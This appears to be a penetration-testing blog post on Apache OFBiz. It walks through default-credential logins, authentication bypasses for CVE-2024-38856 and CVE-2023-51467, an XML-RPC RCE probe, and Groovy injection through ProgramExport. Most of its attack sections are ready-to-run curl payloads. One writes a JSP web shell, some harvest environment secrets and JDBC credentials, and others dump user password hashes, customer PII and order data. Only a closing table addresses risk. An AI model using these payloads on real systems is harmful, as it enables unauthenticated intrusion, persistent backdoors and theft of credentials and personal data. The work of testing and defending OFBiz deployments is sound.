ERP Security Testing

Apache OFBiz Security Testing: CVE-2024-38856 RCE, Authentication Bypass, and Default Credentials

📅 July 5, 2026 ⏱ 13 min read 🏷 Apache OFBiz, ERP Security, CVE-2024-38856, CVE-2023-49070, CVE-2023-51467, Groovy Injection, Authentication Bypass, RCE

What is Apache OFBiz?

Apache OFBiz (Open For Business) is a comprehensive ERP framework that ships with modules for accounting, human resources, order management, inventory, purchasing, CRM, e-commerce, and manufacturing. Unlike monolithic commercial ERP systems, OFBiz is built around a component architecture where each business area runs as a separate web application under a shared framework — all accessible through a central servlet dispatcher called the control servlet.

From a security assessment perspective, OFBiz presents several distinctive characteristics. The system runs on Java (typically embedded Apache Tomcat), exposes multiple named web application contexts (webtools, accounting, manufacturing, ordermgr, etc.), and has historically relied on a centralized authentication check that has been repeatedly bypassed. The Entity Engine is OFBiz's ORM layer providing direct access to database entities — misconfigurations here expose the entire data model. The Groovy scripting integration allows dynamic execution of server-side code, making any injection point in script parameters equivalent to RCE.

OFBiz typically runs on ports 443 (HTTPS) and 8443 (alternative HTTPS), with HTTP on 8080. The webtools application at /webtools/control/main is the canonical management interface and is the most common entry point for exploitation.

Default Credentials and Initial Access

OFBiz ships with well-known default credentials that are frequently left unchanged in development, staging, and even production deployments. The primary default account is admin with password ofbiz, though admin/admin is also commonly seen in installations initialized from demo data seeds.

# Apache OFBiz -- default credential testing
OFBIZ_URL="https://ofbiz.example.com"

# Test default credentials against the login endpoint
for CRED in "admin:ofbiz" "admin:admin" "admin:password" "demo:demo" \
            "flexadmin:ofbiz" "system:ofbiz"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -sk -c /tmp/ofbiz_cookies.txt -b /tmp/ofbiz_cookies.txt \
    -X POST "${OFBIZ_URL}/webtools/control/login" \
    -d "USERNAME=${USER}&PASSWORD=${PASS}" \
    -w "\n%{http_code}" 2>/dev/null)
  HTTP_CODE=$(echo "$RESPONSE" | tail -1)
  BODY=$(echo "$RESPONSE" | head -n -1)
  if echo "$BODY" | grep -q "logout\|LOGOUT\|Dashboard\|My Profile" 2>/dev/null; then
    echo "[SUCCESS] ${USER}:${PASS} -- authenticated (HTTP ${HTTP_CODE})"
  else
    echo "[FAIL]    ${USER}:${PASS} -- (HTTP ${HTTP_CODE})"
  fi
done

# After login, verify admin access to webtools
curl -sk -b /tmp/ofbiz_cookies.txt \
  "${OFBIZ_URL}/webtools/control/main" 2>/dev/null | \
  grep -o "Welcome.*\|userName.*\|Logged in as.*" | head -5

# Enumerate accessible applications (each is a separate context)
for APP in webtools accounting manufacturing ordermgr humanres \
           content marketing ecommerce projectmgr facility; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    "${OFBIZ_URL}/${APP}/control/main" 2>/dev/null)
  echo "${APP}/control/main: HTTP ${STATUS}"
done

Beyond the admin account, OFBiz demo data seeds create numerous test users across business domains. Accounts such as DemoCustomer, DemoEmployee, and DemoSupplier are created with predictable passwords when demo data is loaded — a common practice during initial setup that is then forgotten. These accounts may have access to order history, customer PII, and financial data even without admin privileges.

CVE-2024-38856: Critical Authentication Bypass (CVSS 9.8)

CVE-2024-38856, disclosed in August 2024 and patched in OFBiz 18.12.15, is an authentication bypass vulnerability with a CVSS score of 9.8. The flaw exists in the override view mechanism of OFBiz's control servlet: by supplying a requirePasswordChange=Y parameter alongside empty credentials, an attacker can reach view handlers that are normally protected by authentication checks — including the ProgramExport endpoint that executes arbitrary Groovy code.

# CVE-2024-38856 -- Auth bypass + RCE (affects OFBiz < 18.12.15)
OFBIZ_URL="https://ofbiz.example.com"

# Step 1: Verify authentication bypass -- access a protected view without credentials
curl -sk "${OFBIZ_URL}/webtools/control/main?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
  -w "\nHTTP: %{http_code}" 2>/dev/null | tail -5
# Expected on vulnerable: HTTP 200 with partial page content instead of redirect to login

# Step 2: Chain to RCE via ProgramExport override
# The requirePasswordChange=Y parameter tricks the auth check into bypassing the login gate
# while routing to ProgramExport for Groovy execution
curl -sk -X POST \
  "${OFBIZ_URL}/webtools/control/ProgramExport;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
  --data-urlencode 'groovyProgram=throw new Exception("id=".concat("id".execute().text))' \
  2>/dev/null | grep -o "Exception.*" | head -3

# Alternative payload -- write a web shell
curl -sk -X POST \
  "${OFBIZ_URL}/webtools/control/ProgramExport;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
  --data-urlencode 'groovyProgram=import java.io.*;new File("/opt/ofbiz/runtime/catalina/webapps/webtools/shell.jsp").text="<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\")).text%>"' \
  2>/dev/null

# Verify the shell was written
curl -sk "${OFBIZ_URL}/webtools/shell.jsp?cmd=id" 2>/dev/null

# Version fingerprinting -- identify patch level
curl -sk "${OFBIZ_URL}/webtools/control/main" 2>/dev/null | \
  grep -oE "OFBiz[- ][0-9]+\.[0-9]+\.[0-9]+" | head -3
curl -sk "${OFBIZ_URL}/webtools/control/ViewHandlerExt?override.view=ajaxCheckLogin&USERNAME=&PASSWORD=" \
  -w "\nHTTP: %{http_code}" 2>/dev/null | tail -3

CVE ID	CVSS Score	Affected Versions	Type
CVE-2024-38856	9.8 (Critical)	< 18.12.15	Auth Bypass → RCE (requirePasswordChange parameter)
CVE-2023-51467	9.8 (Critical)	< 18.12.14	Auth Bypass via URL manipulation (jsessionid + empty credentials)
CVE-2023-49070	9.8 (Critical)	< 18.12.11	Pre-Auth RCE via XML-RPC (Groovy deserialization)

CVE-2023-49070: Pre-Auth RCE via XML-RPC

CVE-2023-49070, patched in OFBiz 18.12.11, affects the XML-RPC endpoint at /webtools/control/xmlrpc. OFBiz ships with the Apache XML-RPC library which supports Groovy method invocation — this endpoint did not require authentication, allowing an unauthenticated attacker to send a crafted XML-RPC request that executes arbitrary Groovy code on the server. This vulnerability was widely exploited in the wild following public disclosure.

# CVE-2023-49070 -- Pre-auth RCE via XML-RPC (affects OFBiz < 18.12.11)
OFBIZ_URL="https://ofbiz.example.com"

# Check if the XML-RPC endpoint exists and responds
curl -sk -X POST "${OFBIZ_URL}/webtools/control/xmlrpc" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName></methodCall>' \
  -w "\nHTTP: %{http_code}" 2>/dev/null | tail -5
# HTTP 200 with XML response = endpoint active; HTTP 404/403 = patched or removed

# Probe for Groovy-related error messages indicating active Groovy classpath
curl -sk -X POST "${OFBIZ_URL}/webtools/control/xmlrpc;jsessionid=x" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>foo</name>
            <value><string>bar</string></value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>' \
  -w "\nHTTP: %{http_code}" 2>/dev/null

# Check response for Groovy-related errors (indicates vulnerability)
curl -sk -X POST "${OFBIZ_URL}/webtools/control/xmlrpc" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>test</methodName><params/></methodCall>' \
  2>/dev/null | grep -i "groovy\|exception\|faultCode" | head -5

# A 404 response on /webtools/control/xmlrpc confirms the endpoint has been removed (patched)
# Any 200 response indicates the endpoint remains active and warrants deeper investigation

CVE-2023-51467: Authentication Bypass via URL Manipulation

CVE-2023-51467 (OFBiz < 18.12.14, CVSS 9.8) exploits the same requirePasswordChange parameter as CVE-2024-38856 but through a slightly different path — appending ;jsessionid=x to the URL combined with empty USERNAME and PASSWORD parameters causes the authentication check in LoginWorker to return requirePasswordChange instead of error, which the control servlet interprets as a successful authentication state transition.

# CVE-2023-51467 -- Auth bypass via URL manipulation (affects OFBiz < 18.12.14)
OFBIZ_URL="https://ofbiz.example.com"

# Core bypass -- jsessionid path parameter combined with requirePasswordChange
# tricks LoginWorker into treating the session as authenticated
curl -sk "${OFBIZ_URL}/webtools/control/checkLogin;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
  -w "\nHTTP: %{http_code}" 2>/dev/null

# Access protected resources via bypass -- accounting module
curl -sk "${OFBIZ_URL}/accounting/control/main;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
  -w "\nHTTP: %{http_code}" 2>/dev/null | grep -i "main\|dashboard\|login" | head -3

# Access order management data
curl -sk "${OFBIZ_URL}/ordermgr/control/main;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
  -w "\nHTTP: %{http_code}" 2>/dev/null | grep -i "order\|main\|login" | head -3

# Access HR module -- employee PII
curl -sk "${OFBIZ_URL}/humanres/control/main;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
  -w "\nHTTP: %{http_code}" 2>/dev/null | grep -i "human\|employee\|login" | head -3

# Test bypass across multiple modules
for MODULE in webtools accounting manufacturing ordermgr humanres content ecommerce; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    "${OFBIZ_URL}/${MODULE}/control/main;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
    2>/dev/null)
  echo "${MODULE}: HTTP ${STATUS}"
done

Groovy Script Injection via ViewHandlerExt

OFBiz's ViewHandlerExt is a view handler that supports dynamic Groovy script execution — a core component of the framework's flexibility for customizing views without redeployment. When authentication controls are bypassed (via any of the CVEs above) or when authenticated as any user, the ProgramExport endpoint accepts a groovyProgram parameter containing arbitrary Groovy code that executes with the full privileges of the OFBiz JVM process. This is the standard code execution primitive for OFBiz post-exploitation.

# Groovy script injection via ViewHandlerExt and ProgramExport
OFBIZ_URL="https://ofbiz.example.com"
SESSION="your-authenticated-jsessionid"

# Basic command execution -- read system info
curl -sk -b "JSESSIONID=${SESSION}" \
  -X POST "${OFBIZ_URL}/webtools/control/ProgramExport" \
  --data-urlencode 'groovyProgram=
    def cmd = ["sh", "-c", "id && hostname && whoami"].execute()
    def out = cmd.text
    throw new Exception(out)
' 2>/dev/null | grep -oP "(?<=Exception: ).*" | head -5

# Read OFBiz configuration files -- extract database credentials
curl -sk -b "JSESSIONID=${SESSION}" \
  -X POST "${OFBIZ_URL}/webtools/control/ProgramExport" \
  --data-urlencode 'groovyProgram=
    def f = new File("/opt/ofbiz/framework/entity/ofbiz-containers.xml")
    if (!f.exists()) f = new File("/opt/ofbiz/runtime/ofbiz-containers.xml")
    throw new Exception(f.text.take(3000))
' 2>/dev/null | grep -oP "(?<=Exception: ).*"

# Extract environment variables (DB passwords, LDAP creds, API keys)
curl -sk -b "JSESSIONID=${SESSION}" \
  -X POST "${OFBIZ_URL}/webtools/control/ProgramExport" \
  --data-urlencode 'groovyProgram=
    def env = System.getenv()
    def sensitive = env.findAll { k, v ->
      k.toUpperCase() =~ /PASS|KEY|SECRET|TOKEN|JDBC|DB_|DATABASE/
    }
    throw new Exception(sensitive.collect { k, v -> "$k=$v" }.join("\n"))
' 2>/dev/null | grep -oP "(?<=Exception: ).*"

# Enumerate user accounts via Entity Engine delegator
curl -sk -b "JSESSIONID=${SESSION}" \
  -X POST "${OFBIZ_URL}/webtools/control/ProgramExport" \
  --data-urlencode 'groovyProgram=
    import org.ofbiz.entity.*
    def delegator = DelegatorFactory.getDelegator("default")
    def users = delegator.findAll("UserLogin", false)
    def result = users.take(20).collect { u ->
      "userLoginId=${u.userLoginId} enabled=${u.enabled} hash=${u.currentPassword?.take(20)}"
    }.join("\n")
    throw new Exception(result)
' 2>/dev/null | grep -oP "(?<=Exception: ).*"

Database Credential Exposure

OFBiz stores its database connection parameters in XML configuration files distributed throughout the framework directory structure. The primary file is framework/entity/ofbiz-containers.xml, which defines JDBC datasource beans with inline username and password attributes. A secondary location is framework/entity/config/entityengine.xml, which maps entity groups to datasource definitions. These files are readable by any user with access to the OFBiz installation directory — and are trivially extracted via Groovy injection once code execution is achieved.

# OFBiz database credential locations and extraction
OFBIZ_BASE="/opt/ofbiz"  # adjust to actual installation path

# Primary datasource config -- JDBC credentials in inline XML attributes
grep -E "jdbc-uri|jdbc-username|jdbc-password|username|password" \
  "${OFBIZ_BASE}/framework/entity/ofbiz-containers.xml" 2>/dev/null | \
  grep -v "<!--" | head -20
# Look for: <property key="jdbc-username" value="ofbiz"/>
#           <property key="jdbc-password" value="ofbiz"/>
#           <property key="jdbc-uri" value="jdbc:derby://localhost/ofbiz"/>

# Entity engine config -- maps application entity groups to datasources
grep -A5 -B5 "datasource\|field-type\|jdbc" \
  "${OFBIZ_BASE}/framework/entity/config/entityengine.xml" 2>/dev/null | head -40

# Docker / container deployment -- env vars override XML config
docker inspect ofbiz 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e.upper() for k in ['JDBC','DB_','DATABASE','PASS','USER','OFBIZ']):
            print(e)
" 2>/dev/null

# Runtime JNDI datasource (if deployed to external Tomcat)
grep -rE "password|username|url" \
  "${OFBIZ_BASE}/runtime/catalina/conf/context.xml" 2>/dev/null | head -10

# OFBiz default Derby database -- runtime data directory
ls -la "${OFBIZ_BASE}/runtime/data/" 2>/dev/null | head -10

# If using PostgreSQL -- connect with extracted creds
# psql -h localhost -U ofbiz -d ofbiz
# mysql -h localhost -u ofbiz -p ofbiz

The default OFBiz installation uses Apache Derby as its embedded database, with a default JDBC username and password of ofbiz/ofbiz. Production deployments frequently migrate to PostgreSQL or MySQL but retain the same credential values. The OFBIZ_ADMIN_PASSWORD environment variable, if set for Docker deployments, controls the admin account password and is often visible in container metadata.

Entity Engine REST API Abuse

OFBiz's Entity Engine exposes a REST-style interface that allows querying database entities directly via HTTP. While this interface is intended to be protected by authentication and authorization checks, historical bypasses and misconfigurations have allowed unauthenticated access. The interface routes through the ViewHandlerExt mechanism and can be reached via the ajaxCheckLogin override view or through authenticated Groovy execution that directly invokes the delegator layer.

# Entity Engine REST API -- enumerate and extract data
OFBIZ_URL="https://ofbiz.example.com"
SESSION="your-jsessionid"

# ViewHandlerExt override -- access ajaxCheckLogin without credentials (bypass test)
curl -sk \
  "${OFBIZ_URL}/webtools/control/ViewHandlerExt?override.view=ajaxCheckLogin&USERNAME=&PASSWORD=" \
  -w "\nHTTP: %{http_code}" 2>/dev/null | tail -5

# Extract all UserLogin accounts including hashed passwords
curl -sk -b "JSESSIONID=${SESSION}" \
  -X POST "${OFBIZ_URL}/webtools/control/ProgramExport" \
  --data-urlencode 'groovyProgram=
    import org.ofbiz.entity.*
    def delegator = DelegatorFactory.getDelegator("default")
    def users = delegator.findAll("UserLogin", false)
    def result = "Total user accounts: ${users.size()}\n"
    result += users.take(20).collect { u ->
      "userLoginId=${u.userLoginId} isSystem=${u.isSystem} " +
      "enabled=${u.enabled} currentPassword=${u.currentPassword?.take(30)}"
    }.join("\n")
    throw new Exception(result)
' 2>/dev/null | grep -oP "(?<=Exception: ).*"

# Extract Party/Person entities -- customer and employee PII
curl -sk -b "JSESSIONID=${SESSION}" \
  -X POST "${OFBIZ_URL}/webtools/control/ProgramExport" \
  --data-urlencode 'groovyProgram=
    import org.ofbiz.entity.*
    def delegator = DelegatorFactory.getDelegator("default")
    def persons = delegator.findAll("Person", false)
    def result = "Total persons: ${persons.size()}\n"
    result += persons.take(10).collect { p ->
      "partyId=${p.partyId} firstName=${p.firstName} lastName=${p.lastName}"
    }.join("\n")
    throw new Exception(result)
' 2>/dev/null | grep -oP "(?<=Exception: ).*"

# Enumerate all order data -- financial exposure
curl -sk -b "JSESSIONID=${SESSION}" \
  -X POST "${OFBIZ_URL}/webtools/control/ProgramExport" \
  --data-urlencode 'groovyProgram=
    import org.ofbiz.entity.*
    def delegator = DelegatorFactory.getDelegator("default")
    def orders = delegator.findAll("OrderHeader", false)
    def result = "Total orders: ${orders.size()}\n"
    result += orders.take(5).collect { o ->
      "orderId=${o.orderId} total=${o.grandTotal} status=${o.statusId} date=${o.orderDate}"
    }.join("\n")
    throw new Exception(result)
' 2>/dev/null | grep -oP "(?<=Exception: ).*"

Forgotten and Test Endpoints

OFBiz's modular architecture means that multiple application contexts are deployed alongside the main interface, many of which are forgotten by administrators after initial setup. The webtools application in particular contains powerful administrative endpoints that expose entity data, XML configurations, and system information. Test endpoints created during development or integration work are a common finding in OFBiz assessments.

# OFBiz -- forgotten and test endpoint enumeration
OFBIZ_URL="https://ofbiz.example.com"

# Core application endpoints -- check each for authentication enforcement
ENDPOINTS=(
  "/webtools/control/main"
  "/webtools/control/ViewHandlerExt"
  "/webtools/control/xmlrpc"
  "/webtools/control/DumpObj"
  "/webtools/control/ping"
  "/accounting/control/main"
  "/manufacturing/control/main"
  "/ordermgr/control/main"
  "/humanres/control/main"
  "/content/control/main"
  "/marketing/control/main"
  "/ecommerce/control/main"
  "/projectmgr/control/main"
  "/facility/control/main"
  "/workeffort/control/main"
  "/catalog/control/main"
  "/partymgr/control/main"
)

for EP in "${ENDPOINTS[@]}"; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    -L "${OFBIZ_URL}${EP}" 2>/dev/null)
  echo "HTTP ${STATUS}: ${EP}"
done

# Test each module for CVE-2023-51467 bypass
for MODULE in webtools accounting manufacturing ordermgr humanres; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    "${OFBIZ_URL}/${MODULE}/control/main;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
    2>/dev/null)
  echo "Bypass test ${MODULE}: HTTP ${STATUS}"
done

# DumpObj -- may expose internal object state without auth on older versions
curl -sk "${OFBIZ_URL}/webtools/control/DumpObj?USERNAME=&PASSWORD=&requirePasswordChange=Y" \
  -w "\nHTTP: %{http_code}" 2>/dev/null | tail -5

# Ping endpoint -- confirms OFBiz is running (typically no auth required)
curl -sk "${OFBIZ_URL}/webtools/control/ping" \
  -w "\nHTTP: %{http_code}" 2>/dev/null

# OFBiz Tomcat manager (if deployed to external Tomcat instance)
curl -sk "${OFBIZ_URL}/manager/html" -w "\nHTTP: %{http_code}" 2>/dev/null | tail -3

Remediation and Hardening

Security Test	Method	Risk
CVE-2024-38856 authentication bypass RCE	POST /webtools/control/ProgramExport;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y with groovyProgram payload — unauthenticated RCE on OFBiz < 18.12.15; no credentials required; full JVM access	Critical
CVE-2023-49070 pre-auth XML-RPC RCE	POST /webtools/control/xmlrpc with serialized Groovy payload — unauthenticated code execution on OFBiz < 18.12.11; endpoint requires no session or credentials	Critical
CVE-2023-51467 URL manipulation bypass	GET /module/control/main;jsessionid=x?USERNAME=&PASSWORD=&requirePasswordChange=Y — authentication bypass on all application modules; access accounting, HR, and order data without credentials on OFBiz < 18.12.14	Critical
Default credentials admin/ofbiz	POST /webtools/control/login with USERNAME=admin&PASSWORD=ofbiz — full admin access on factory-default and demo-seeded installations; enables access to all ERP data and user management	High
Groovy script injection via ProgramExport	Authenticated POST to /webtools/control/ProgramExport with groovyProgram parameter — arbitrary JVM code execution; read filesystem, extract JDBC credentials, establish reverse shell, create additional admin accounts	High
JDBC credential extraction from ofbiz-containers.xml	Read framework/entity/ofbiz-containers.xml — JDBC username/password in plaintext XML attributes; default ofbiz/ofbiz; direct database access enabling full entity data extraction bypassing the OFBiz application layer	High
Entity Engine data enumeration	Groovy delegator.findAll("UserLogin") / findAll("Person") / findAll("OrderHeader") — extract all user accounts with password hashes, customer PII, and complete financial order history via the Entity Engine ORM	High